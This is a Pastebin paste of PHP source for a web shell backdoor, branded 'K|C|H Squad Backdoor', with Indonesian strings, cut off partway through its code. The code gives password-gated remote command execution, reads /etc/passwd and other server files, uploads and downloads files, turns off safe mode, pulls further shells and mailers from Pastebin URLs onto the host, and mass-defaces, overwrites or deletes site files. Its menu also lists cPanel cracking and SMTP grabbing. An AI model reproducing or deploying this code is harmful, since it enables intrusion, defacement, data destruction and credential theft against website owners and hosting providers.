SHARE
TWEET

shell tanpa nama

a guest May 22nd, 2017 67 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. // --- pop-up
  3.  
  4. $user = ".";
  5.  
  6. $pass = ".";
  7.  
  8.  if (($_SERVER["PHP_AUTH_USER"] != $user) || (($_SERVER["PHP_AUTH_PW"]) != $pass))
  9.  
  10.  {
  11.  
  12.   header("WWW-Authenticate: Basic realm=\"./0xforbidd3n\"");
  13.  
  14.   header("HTTP/1.0 401 Unauthorized");
  15.  
  16.   exit();
  17.  
  18.  }
  19.  
  20. //FORBIDD3N
  21. @session_start();
  22. @error_reporting(0);
  23. @error_log(0);
  24. @ini_set('error_log',NULL);
  25. @ini_set('log_errors',0);
  26. @ini_set('max_execution_time',0);
  27. @ini_set('output_buffering',0);
  28. @ini_set('display_errors', 0);
  29. @set_time_limit(0);
  30. @set_magic_quotes_runtime(0);
  31. $lol="bd6043ba1b65090a190516c39a27499d";
  32. function printLogin() {
  33.     ?>
  34. <html>
  35. <head>
  36. <title>K|C|H Squad Backdoor</title>
  37. <link href='http://forbidd3n.tk/center.png' rel='icon' type='image/x-icon'/>
  38. <center><img src=""></center>
  39. <meta name='author' content='Wong Kucluk'>
  40. <meta charset="UTF-8">
  41. <style type='text/css'>
  42. @import url(https://fonts.googleapis.com/css?family=Abel);
  43. html {
  44.     background: #000000;
  45.     color: #ffffff;
  46.     font-family: 'Abel';
  47.     font-size: 13px;
  48.     width: 100%;
  49. }
  50. input[type=text], input[type=password],input[type=submit] {
  51.     background: transparent;
  52.     color: #ffffff;
  53.     border: 1px solid #ffffff;
  54.     margin: 5px auto;
  55.     padding-left: 5px;
  56.     font-family: 'Abel';
  57.     font-size: 13px;
  58. }
  59. </style>
  60. </head>
  61.     <style>
  62.         input { margin:0;background-color:#fff;border:1px solid #fff; }
  63.     </style>
  64.     <center>  
  65.     <form method=post>
  66.     <input type=password name=shaqilla1st>
  67.     </form></center>
  68.     <?php
  69.      
  70. }
  71. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  72.     if( empty( $lol ) ||
  73.         ( isset( $_POST['shaqilla1st'] ) && ( md5($_POST['shaqilla1st']) == $lol ) ) )
  74.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  75.     else
  76.         printLogin();
  77. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  78.     @ob_clean();
  79.     $file = $_GET['file'];
  80.     header('Content-Description: File Transfer');
  81.     header('Content-Type: application/octet-stream');
  82.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  83.     header('Expires: 0');
  84.     header('Cache-Control: must-revalidate');
  85.     header('Pragma: public');
  86.     header('Content-Length: ' . filesize($file));
  87.     readfile($file);
  88.     exit;
  89. }  
  90.    
  91. ?>
  92. <html>
  93. <head>
  94. <title>K|C|H Squad Backdoor</title>
  95. <link href='http://forbidd3n.tk/center.png' rel='icon' type='image/x-icon'/>
  96. <meta name='author' content='FORBIDD3N'>
  97. <meta charset="UTF-8">
  98. <style type='text/css'>
  99. @import url(https://fonts.googleapis.com/css?family=Abel);
  100. html {
  101.     background: #000000;
  102.     color: #ffffff;
  103.     font-family: 'Abel';
  104.     font-size: 13px;
  105.     width: 100%;
  106. }
  107. li {
  108.     display: inline;
  109.     margin: 5px;
  110.     padding: 5px;
  111. }
  112. table, th, td {
  113.     border-collapse:collapse;
  114.     font-family: Tahoma, Geneva, sans-serif;
  115.     background: transparent;
  116.     font-family: 'Abel';
  117.     font-size: 13px;
  118. }
  119. .table_home, .th_home, .td_home {
  120.     border: 1px solid #ffffff;
  121. }
  122. th {
  123.     padding: 10px;
  124. }
  125. a {
  126.     color: #ffffff;
  127.     text-decoration: none;
  128. }
  129. a:hover {
  130.     color: gold;
  131.     text-decoration: underline;
  132. }
  133. b {
  134.     color: gold;
  135. }
  136. input[type=text], input[type=password],input[type=submit] {
  137.     background: transparent;
  138.     color: #ffffff;
  139.     border: 1px solid #ffffff;
  140.     margin: 5px auto;
  141.     padding-left: 5px;
  142.     font-family: 'Abel';
  143.     font-size: 13px;
  144. }
  145. textarea {
  146.     border: 1px solid #ffffff;
  147.     width: 100%;
  148.     height: 400px;
  149.     padding-left: 5px;
  150.     margin: 10px auto;
  151.     resize: none;
  152.     background: transparent;
  153.     color: #ffffff;
  154.     font-family: 'Abel';
  155.     font-size: 13px;
  156. }
  157. select {
  158.     background: transparent;
  159.     color: #ffffff;
  160.     border: 1px solid #ffffff;
  161.     margin: 5px auto;
  162.     padding-left: 5px;
  163.     font-family: 'Abel';
  164.     font-size: 13px;
  165. }
  166. .but {
  167.     background: transparent;
  168.     color: #ffffff;
  169.     border: 1px solid #ffffff;
  170.     margin: 5px auto;
  171.     padding-left: 5px;
  172.     font-family: 'Abel';
  173.     font-size: 13px;
  174. }
  175. </style>
  176. </head>
  177. <?php
  178. if (file_exists("php.ini")){
  179. }else{
  180. $img = fopen('php.ini', 'w');
  181. $sec = "safe_mode = OFF
  182. disable_funtions = NONE";
  183. fwrite($img ,$sec);
  184. fclose($img);}     
  185. function w($dir,$perm) {
  186.     if(!is_writable($dir)) {
  187.         return "<font color=red>".$perm."</font>";
  188.     } else {
  189.         return "<font color=lime>".$perm."</font>";
  190.     }
  191. }
  192. function exe($cmd) {    
  193. if(function_exists('system')) {        
  194.         @ob_start();       
  195.         @system($cmd);     
  196.         $buff = @ob_get_contents();        
  197.         @ob_end_clean();       
  198.         return $buff;  
  199.     } elseif(function_exists('exec')) {        
  200.         @exec($cmd,$results);      
  201.         $buff = "";        
  202.         foreach($results as $result) {         
  203.             $buff .= $result;      
  204.         } return $buff;    
  205.     } elseif(function_exists('passthru')) {        
  206.         @ob_start();       
  207.         @passthru($cmd);       
  208.         $buff = @ob_get_contents();        
  209.         @ob_end_clean();       
  210.         return $buff;  
  211.     } elseif(function_exists('shell_exec')) {      
  212.         $buff = @shell_exec($cmd);     
  213.         return $buff;  
  214.     }
  215. }
  216. function perms($file){
  217. $perms = fileperms($file);
  218. if (($perms & 0xC000) == 0xC000) {
  219. $info = 's';
  220. } elseif (($perms & 0xA000) == 0xA000) {
  221. $info = 'l';
  222. } elseif (($perms & 0x8000) == 0x8000) {
  223. $info = '-';
  224. } elseif (($perms & 0x6000) == 0x6000) {
  225. $info = 'b';
  226. } elseif (($perms & 0x4000) == 0x4000) {
  227. $info = 'd';
  228. } elseif (($perms & 0x2000) == 0x2000) {
  229. $info = 'c';
  230. } elseif (($perms & 0x1000) == 0x1000) {
  231. $info = 'p';
  232. } else {
  233. $info = 'u';
  234. }
  235. $info .= (($perms & 0x0100) ? 'r' : '-');
  236. $info .= (($perms & 0x0080) ? 'w' : '-');
  237. $info .= (($perms & 0x0040) ?
  238. (($perms & 0x0800) ? 's' : 'x' ) :
  239. (($perms & 0x0800) ? 'S' : '-'));
  240. $info .= (($perms & 0x0020) ? 'r' : '-');
  241. $info .= (($perms & 0x0010) ? 'w' : '-');
  242. $info .= (($perms & 0x0008) ?
  243. (($perms & 0x0400) ? 's' : 'x' ) :
  244. (($perms & 0x0400) ? 'S' : '-'));
  245. $info .= (($perms & 0x0004) ? 'r' : '-');
  246. $info .= (($perms & 0x0002) ? 'w' : '-');
  247. $info .= (($perms & 0x0001) ?
  248. (($perms & 0x0200) ? 't' : 'x' ) :
  249. (($perms & 0x0200) ? 'T' : '-'));
  250. return $info;
  251. }
  252. function hdd($s) {
  253. if($s >= 1073741824)
  254. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  255. elseif($s >= 1048576)
  256. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  257. elseif($s >= 1024)
  258. return sprintf('%1.2f',$s / 1024 ) .' KB';
  259. else
  260. return $s .' B';
  261. }
  262. function ambilKata($param, $kata1, $kata2){
  263.     if(strpos($param, $kata1) === FALSE) return FALSE;
  264.     if(strpos($param, $kata2) === FALSE) return FALSE;
  265.     $start = strpos($param, $kata1) + strlen($kata1);
  266.     $end = strpos($param, $kata2, $start);
  267.     $return = substr($param, $start, $end - $start);
  268.     return $return;
  269. }
  270. if(get_magic_quotes_gpc()) {
  271.     function idx_ss($array) {
  272.         return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  273.     }
  274.     $_POST = idx_ss($_POST);
  275. }
  276. function CreateTools($names,$lokasi){
  277.     if ( $_GET['create'] == $names ){
  278.         $a= "".$_SERVER['SERVER_NAME']."";
  279. $b= dirname($_SERVER['PHP_SELF']);
  280. $c = "/cox_tools/".$names.".php";
  281. if (file_exists('cox_tools/'.$names.'.php')){
  282.     echo '<script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';
  283.     }
  284.     else {mkdir("cox_tools", 0777);
  285. file_put_contents('cox_tools/'.$names.'.php', file_get_contents($lokasi));
  286. echo ' <script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';}}}
  287.  
  288. CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
  289. CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
  290. CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
  291. CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
  292. CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
  293. CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
  294. CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
  295. CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
  296. CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
  297. CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
  298. CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
  299. CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
  300. CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
  301. CreateTools("bh","http://pastebin.com/raw/3L2ESWeu");
  302. CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
  303. if(isset($_GET['dir'])) {
  304.     $dir = $_GET['dir'];
  305.     chdir($_GET['dir']);
  306. } else {
  307.     $dir = getcwd();
  308. }
  309. $dir = str_replace("\\","/",$dir);
  310. $scdir = explode("/", $dir);
  311. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  312. $ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
  313. $ds = @ini_get("disable_functions");
  314. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  315. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  316. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  317. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  318. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  319. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  320. if(!function_exists('posix_getegid')) {
  321.     $user = @get_current_user();
  322.     $uid = @getmyuid();
  323.     $gid = @getmygid();
  324.     $group = "?";
  325. } else {
  326.     $uid = @posix_getpwuid(posix_geteuid());
  327.     $gid = @posix_getgrgid(posix_getegid());
  328.     $user = $uid['name'];
  329.     $uid = $uid['uid'];
  330.     $group = $gid['name'];
  331.     $gid = $gid['gid'];
  332. }
  333. $d0mains = @file("/etc/named.conf");
  334.             $users=@file('/etc/passwd');
  335.         if($d0mains)
  336.         {
  337.             $count;  
  338.             foreach($d0mains as $d0main)
  339.             {
  340.                 if(@ereg("zone",$d0main))
  341.                 {
  342.                     preg_match_all('#zone "(.*)"#', $d0main, $domains);
  343.                     flush();
  344.                     if(strlen(trim($domains[1][0])) > 2)
  345.                     {
  346.                         flush();
  347.                         $count++;
  348.                     }
  349.                 }
  350.             }
  351.         }
  352.  
  353. $sport=$_SERVER['SERVER_PORT'];
  354. echo "<table style='width:100%'>";
  355. echo "<tr><td>System: <font color=lime>".php_uname()."</font></td></tr>";
  356. echo "<tr><td>User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")</td></tr>";
  357. echo "<tr><td>Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font></td></tr>";
  358. echo "<tr><td>HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font></td></tr>";
  359. echo "<tr><td>Websites :<font color=lime> $count </font> Domains</td></tr>";
  360. echo "<tr><td>Port :<font color=lime>  $sport</font> </td></tr>";
  361. echo "<tr><td>Safe Mode: $sm</td></tr>";
  362. echo "<tr><td>Disable Functions: $show_ds</td></tr>";
  363. echo "<tr><td>MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl </td></tr>";
  364. echo "<tr><td>Current DIR: ";
  365. foreach($scdir as $c_dir => $cdir) {   
  366.     echo "<a href='?dir=";
  367.     for($i = 0; $i <= $c_dir; $i++) {
  368.         echo $scdir[$i];
  369.         if($i != $c_dir) {
  370.         echo "/";
  371.         }
  372.     }
  373.     echo "'>$cdir</a>/";
  374. }
  375. echo "</td></tr></table><hr>";
  376. echo "<center>";
  377. echo "<ul>";
  378. echo "<li>[ <a href='?'>Home</a> ]</li>";
  379. echo "<li>[ <a href='?dir=$dir&do=upload'>Upload</a> ]</li>";
  380. echo "<li>[ <a href='?dir=$dir&do=cmd'>Command</a> ]</li>";
  381. echo "<li>[ <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ]</li>";
  382. echo "<li>[ <a href='?dir=$dir&do=config'>Config</a> ]</li>";
  383. echo "<li>[ <a href='?dir=$dir&do=lcf'>LiteSpeed Config</a> ]</li>";
  384. echo "<li>[ <a href='?dir=$dir&do=jumping'>Jumping</a> ]</li>";
  385. echo "<li>[ <a href='?dir=$dir&do=symlink'>Symlink</a> ]<br></li>";
  386. echo "<li>[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]</li>";
  387. echo "<li>[ <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> ]</li>";
  388. echo "<li>[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]</li>";
  389. echo "<li>[ <a href='?dir=$dir&do=defacerid'>Defacer.ID</a> ]</li>";
  390. echo "<li>[ <a href='?dir=$dir&do=cgi'>CGI Telnet</a> ]</li><br>";
  391. echo "<li>[ <a href='?dir=$dir&do=adminer'>Adminer</a> ]</li>";
  392. echo "<li>[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]</li>";
  393. echo "<li>[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]</li>";
  394. echo "<li>[ <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> ]</li>";
  395. echo "<li>[ <a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a> ]</li>";
  396. echo "<li>[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]</li>";
  397. echo "<li>[ <a href='?dir=$dir&do=passwbypass'>Bypass etc/passw</a> ]<br></li>";
  398. echo "<li>[ <a href='?dir=$dir&do=loghunter'>Log Hunter</a> ]</li>";
  399. echo "<li>[ <a href='?dir=$dir&do=shellchk'>Shell Checker</a> ]</li>";
  400. echo "<li>[ <a href='?dir=$dir&do=shelscan'>Shell Finder</a> ]</li>";
  401. echo "<li>[ <a href='?dir=$dir&do=zip'>Zip Menu</a> ]</li>";
  402. echo "<li>[ <a href='?dir=$dir&do=about'>About</a> ]</li>";
  403. echo "<li>[ <a href='?dir=$dir&do=metu'>LogOut</a> ]<br></li>";
  404. echo "</ul>";
  405. echo "</center>";
  406. echo "<hr>";
  407. if($_GET['do'] == 'upload') {
  408.     echo "<center>";
  409.     if($_POST['upload']) {
  410.         if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  411.             $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  412.         } else {
  413.             $act = "<font color=red>failed to upload file</font>";
  414.         }
  415.     }
  416.     echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' value='upload' name='upload'></form>";
  417.     echo $act;
  418.     echo "</center>";
  419. }
  420.  elseif($_GET['do'] == 'cmd') {
  421.     echo "<form method='post'>
  422.     <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
  423.     <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  424.     </form>";
  425.     if($_POST['do_cmd']) {
  426.         echo "<pre>".exe($_POST['cmd'])."</pre>";
  427.     }
  428. } elseif($_GET['do'] == 'mass_deface') {
  429.     echo "<center><form action=\"\" method=\"post\">\n";
  430.     $dirr=$_POST['d_dir'];
  431.     $index = $_POST["script"];
  432.     $index = str_replace('"',"'",$index);
  433.     $index = stripslashes($index);
  434.     function edit_file($file,$index){
  435.         if (is_writable($file)) {
  436.         clear_fill($file,$index);
  437.         echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
  438.         }
  439.         else {
  440.             echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
  441.             }
  442.             }
  443.     function hapus_massal($dir,$namafile) {
  444.         if(is_writable($dir)) {
  445.             $dira = scandir($dir);
  446.             foreach($dira as $dirb) {
  447.                 $dirc = "$dir/$dirb";
  448.                 $lokasi = $dirc.'/'.$namafile;
  449.                 if($dirb === '.') {
  450.                     if(file_exists("$dir/$namafile")) {
  451.                         unlink("$dir/$namafile");
  452.                     }
  453.                 } elseif($dirb === '..') {
  454.                     if(file_exists("".dirname($dir)."/$namafile")) {
  455.                         unlink("".dirname($dir)."/$namafile");
  456.                     }
  457.                 } else {
  458.                     if(is_dir($dirc)) {
  459.                         if(is_writable($dirc)) {
  460.                             if(file_exists($lokasi)) {
  461.                                 echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  462.                                 unlink($lokasi);
  463.                                 $idx = hapus_massal($dirc,$namafile);
  464.                             }
  465.                         }
  466.                     }
  467.                 }
  468.             }
  469.         }
  470.     }
  471.     function clear_fill($file,$index){
  472.         if(file_exists($file)){
  473.             $handle = fopen($file,'w');
  474.             fwrite($handle,'');
  475.             fwrite($handle,$index);
  476.             fclose($handle);  } }
  477.  
  478.     function gass(){
  479.         global $dirr , $index ;
  480.         chdir($dirr);
  481.         $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  482.         $files = scandir($dirr) ;
  483.         $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
  484.         sort($files);
  485.         $n = 0 ;
  486.         foreach ($files as $file){
  487.             if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
  488.                 echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
  489.                 edit_file($file,$index);
  490.                 flush();
  491.                 $n = $n +1 ;
  492.                 }
  493.                 }
  494.                 echo "<br>";
  495.                 echo "<center><br><h3>$n Kali Anda Telah Ngecrot  Disini </h3></center><br>";
  496.                     }
  497.     function ListFiles($dirrall) {
  498.  
  499.     if($dh = opendir($dirrall)) {
  500.  
  501.        $files = Array();
  502.        $inner_files = Array();
  503.        $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  504.        $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
  505.         while($file = readdir($dh)) {
  506.             if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
  507.                 if(is_dir($dirrall . "/" . $file)) {
  508.                     $inner_files = ListFiles($dirrall . "/" . $file);
  509.                     if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  510.                 } else {
  511.                     array_push($files, $dirrall . "/" . $file);
  512.                 }
  513.             }
  514.             }
  515.  
  516.             closedir($dh);
  517.             return $files;
  518.         }
  519.     }
  520.     function gass_all(){
  521.         global $index ;
  522.         $dirrall=$_POST['d_dir'];
  523.         foreach (ListFiles($dirrall) as $key=>$file){
  524.             $file = str_replace('//',"/",$file);
  525.             echo "<center><strong>$file</strong> ===>";
  526.             edit_file($file,$index);
  527.             flush();
  528.         }
  529.         $key = $key+1;
  530.     echo "<center><br><h3>$key Kali Anda Telah Ngecrot  Disini  </h3></center><br>"; }
  531.     function sabun_massal($dir,$namafile,$isi_script) {
  532.         if(is_writable($dir)) {
  533.             $dira = scandir($dir);
  534.             foreach($dira as $dirb) {
  535.                 $dirc = "$dir/$dirb";
  536.                 $lokasi = $dirc.'/'.$namafile;
  537.                 if($dirb === '.') {
  538.                     file_put_contents($lokasi, $isi_script);
  539.                 } elseif($dirb === '..') {
  540.                     file_put_contents($lokasi, $isi_script);
  541.                 } else {
  542.                     if(is_dir($dirc)) {
  543.                         if(is_writable($dirc)) {
  544.                             echo "[<font color=lime>DONE</font>] $lokasi<br>";
  545.                             file_put_contents($lokasi, $isi_script);
  546.                             $idx = sabun_massal($dirc,$namafile,$isi_script);
  547.                         }
  548.                     }
  549.                 }
  550.             }
  551.         }
  552.     }
  553.     if($_POST['mass'] == 'onedir') {
  554.         echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
  555.         $ini="http://";
  556.         $mainpath=$_POST[d_dir];
  557.         $file=$_POST[d_file];
  558.         $dir=opendir("$mainpath");
  559.         $code=base64_encode($_POST[script]);
  560.         $indx=base64_decode($code);
  561.         while($row=readdir($dir)){
  562.         $start=@fopen("$row/$file","w+");
  563.         $finish=@fwrite($start,$indx);
  564.         if ($finish){
  565.             echo"$ini$row/$file\n";
  566.             }
  567.         }
  568.         echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
  569.         $mainpath=$_POST[d_dir];$file=$_POST[d_file];
  570.         $dir=opendir("$mainpath");
  571.         $code=base64_encode($_POST[script]);
  572.         $indx=base64_decode($code);
  573.         while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
  574.         $finish=@fwrite($start,$indx);
  575.         if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
  576.         }
  577.  
  578.     }
  579.     elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
  580.     elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
  581.     elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
  582.     elseif($_POST['mass'] == 'massdeface') {
  583.         echo "<div style='margin: 5px auto; padding: 5px'>";
  584.         sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  585.         echo "</div>";  }
  586.     else {
  587.         echo "
  588.         <center><font style='text-decoration: underline;'>
  589.         Select Type:<br>
  590.         </font>
  591.         <select class=\"select\" name=\"mass\"  style=\"width: 450px;\" height=\"10\">
  592.         <option value=\"onedir\">Mass Deface 1 Dir</option>
  593.         <option value=\"massdeface\">Mass Deface ALL Dir</option>
  594.         <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
  595.         <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
  596.         <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
  597.         <font style='text-decoration: underline;'>Folder:</font><br>
  598.         <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  599.         <font style='text-decoration: underline;'>Filename:</font><br>
  600.         <input type='text' name='d_file' value='0x.php' style='width: 450px;' height='10'><br>
  601.         <font style='text-decoration: underline;'>Index File:</font><br>
  602.         <textarea name='script' style='width: 450px; height: 200px;'>Hacked By FORBIDD3N</textarea><br>
  603.         <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  604.         </form></center>";
  605.         }
  606.     }
  607. elseif($_GET['do'] == 'zip') {
  608.     echo "<center><h1>Zip Menu</h1>";
  609. function rmdir_recursive($dir) {
  610.     foreach(scandir($dir) as $file) {
  611.        if ('.' === $file || '..' === $file) continue;
  612.        if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
  613.        else unlink("$dir/$file");
  614.    }
  615.    rmdir($dir);
  616. }
  617. if($_FILES["zip_file"]["name"]) {
  618.     $filename = $_FILES["zip_file"]["name"];
  619.     $source = $_FILES["zip_file"]["tmp_name"];
  620.     $type = $_FILES["zip_file"]["type"];
  621.     $name = explode(".", $filename);
  622.     $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
  623.     foreach($accepted_types as $mime_type) {
  624.         if($mime_type == $type) {
  625.             $okay = true;
  626.             break;
  627.         }
  628.     }
  629.     $continue = strtolower($name[1]) == 'zip' ? true : false;
  630.     if(!$continue) {
  631.         $message = "Itu Bukan Zip  , , GOBLOK COK";
  632.     }
  633.   $path = dirname(__FILE__).'/';
  634.   $filenoext = basename ($filename, '.zip');
  635.   $filenoext = basename ($filenoext, '.ZIP');
  636.   $targetdir = $path . $filenoext;
  637.   $targetzip = $path . $filename;
  638.   if (is_dir($targetdir))  rmdir_recursive ( $targetdir);
  639.   mkdir($targetdir, 0777);
  640.     if(move_uploaded_file($source, $targetzip)) {
  641.         $zip = new ZipArchive();
  642.         $x = $zip->open($targetzip);
  643.         if ($x === true) {
  644.             $zip->extractTo($targetdir);
  645.             $zip->close();
  646.  
  647.             unlink($targetzip);
  648.         }
  649.         $message = "<b>Sukses Gan :)</b>";
  650.     } else {   
  651.         $message = "<b>Error Gan :(</b>";
  652.     }
  653. }  
  654. echo '<table style="width:100%" border="1">
  655.  <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
  656. <label>Zip File : <input type="file" name="zip_file" /></label>
  657. <input type="submit" name="submit" value="Upload And Unzip" />
  658. </form>';
  659. if($message) echo "<p>$message</p>";
  660. echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";  
  661.     if($_POST['backup']){
  662.     $save=$_POST['save'];
  663.     function Zip($source, $destination)
  664. {
  665.     if (extension_loaded('zip') === true)
  666.     {
  667.         if (file_exists($source) === true)
  668.         {
  669.             $zip = new ZipArchive();
  670.  
  671.             if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  672.             {
  673.                 $source = realpath($source);
  674.  
  675.                 if (is_dir($source) === true)
  676.                 {
  677.                     $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  678.  
  679.                     foreach ($files as $file)
  680.                     {
  681.                         $file = realpath($file);
  682.  
  683.                         if (is_dir($file) === true)
  684.                         {
  685.                             $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  686.                         }
  687.  
  688.                         else if (is_file($file) === true)
  689.                         {
  690.                             $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  691.                         }
  692.                     }
  693.                 }
  694.  
  695.                 else if (is_file($source) === true)
  696.                 {
  697.                     $zip->addFromString(basename($source), file_get_contents($source));
  698.                 }
  699.             }
  700.  
  701.             return $zip->close();
  702.         }
  703.     }
  704.  
  705.     return false;
  706. }
  707.     Zip($_POST['dir'],$save);
  708.     echo "Done , Save To <b>$save</b>";
  709.     }
  710.     echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
  711.     if($_POST['extrak']){
  712.     $save=$_POST['save'];
  713.     $zip = new ZipArchive;
  714.     $res = $zip->open($_POST['dir']);
  715.     if ($res === TRUE) {
  716.         $zip->extractTo($save);
  717.         $zip->close();
  718.     echo 'Succes , Location : <b>'.$save.'</b>';
  719.     } else {
  720.     echo 'Gagal Mas :( Ntahlah !';
  721.     }
  722.     }
  723. echo '</tr></table>';  
  724.     }
  725.     elseif($_GET['do'] == 'shellchk') {
